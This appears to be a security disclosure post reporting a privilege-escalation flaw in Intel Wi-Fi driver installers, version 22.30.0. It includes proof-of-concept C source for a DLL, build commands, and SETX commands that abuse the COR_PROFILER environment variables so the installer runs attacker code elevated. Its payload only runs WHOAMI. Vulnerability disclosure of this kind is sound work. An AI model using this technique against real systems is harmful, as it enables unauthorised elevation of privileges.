Hi @ll, the executable installers version 22.30.0 (Latest), published 2/23/2021, for the "Windows® 10 Wi-Fi Drivers for Intel® Wireless Adapters", and , available from are (SURPRISE!) vulnerable: they allow arbitrary code execution WITH local escalation of privilege. CVSS 3.0 score: 8.2 (High) CVSS 3.0 vector: 3.0/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H Demonstration: ~~~~~~~~~~~~~~ 0. Log on with an arbitrary user account. 1. Save the following source as poc.c in an arbitrary directory: --- poc.c --- // Copyright (C) 2004-2021, Stefan Kanthak #define STRICT #define UNICODE #define WIN32_LEAN_AND_MEAN #include const STARTUPINFO si = {sizeof(si)}; __declspec(safebuffers) BOOL WINAPI _DllMainCRTStartup(HANDLE hModule, DWORD dwReason, CONTEXT *lpContext) { WCHAR szCmdLine[] = L"CMD.exe /D /K WHOAMI.exe /ALL"; PROCESS_INFORMATION pi; #if 0 if (dwReason != DLL_PROCESS_ATTACH) return FALSE; #endif if (CreateProcess(NULL, szCmdLine, NULL, NULL, FALSE, CREATE_DEFAULT_ERROR_MODE | CREATE_NEW_CONSOLE | CREATE_NEW_PROCESS_GROUP | CREATE_UNICODE_ENVIRONMENT, NULL, NULL, &si, &pi)) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); } return TRUE; } --- EOF --- 2. Start the command prompt of the 32-bit Windows Software Development Kit, then run the following command lines to compile poc.c and link it as poc.dll: CL.exe /Zl /W4 /Ox /GAFy /c poc.c LINK.exe /LINK /DLL /DYNAMICBASE /ENTRY:_DllMainCRTStartup /NODEFAULTLIB /NXCOMPAT /OPT:REF /RELEASE /SUBSYSTEM:Windows poc.obj kernel32.lib ALTERNATIVE for steps 1 and 2: 2. Download and save it as poc.dll in an arbitrary directory. See for its documentation, and for an example how to use it. 3. Logon with the user account created during Windows setup. 4. Download and and save them in an arbitrary directory. 5. Start a command prompt (UNELEVATED!) and run the following command lines (replace with the pathname of the directory where you built or saved poc.dll): SETX.exe COR_ENABLE_PROFILING 1 SETX.exe COR_PROFILER {32E2F4DA-1BEA-47EA-88F9-C5DAF691C94A} SETX.exe COR_PROFILER_PATH \poc.dll JFTR: this is just one method to set these environment variables without the need to elevate! 6. Execute WiFi_22.30.0_Driver32_Win10.exe and WiFi_22.30.0_Driver64_Win10.exe per double-click, acknowledge the UAC prompt, then admire the console windows showing the output of WHOAMI.exe running elevated. stay tuned, and far away from Intel's vulnerable crap!
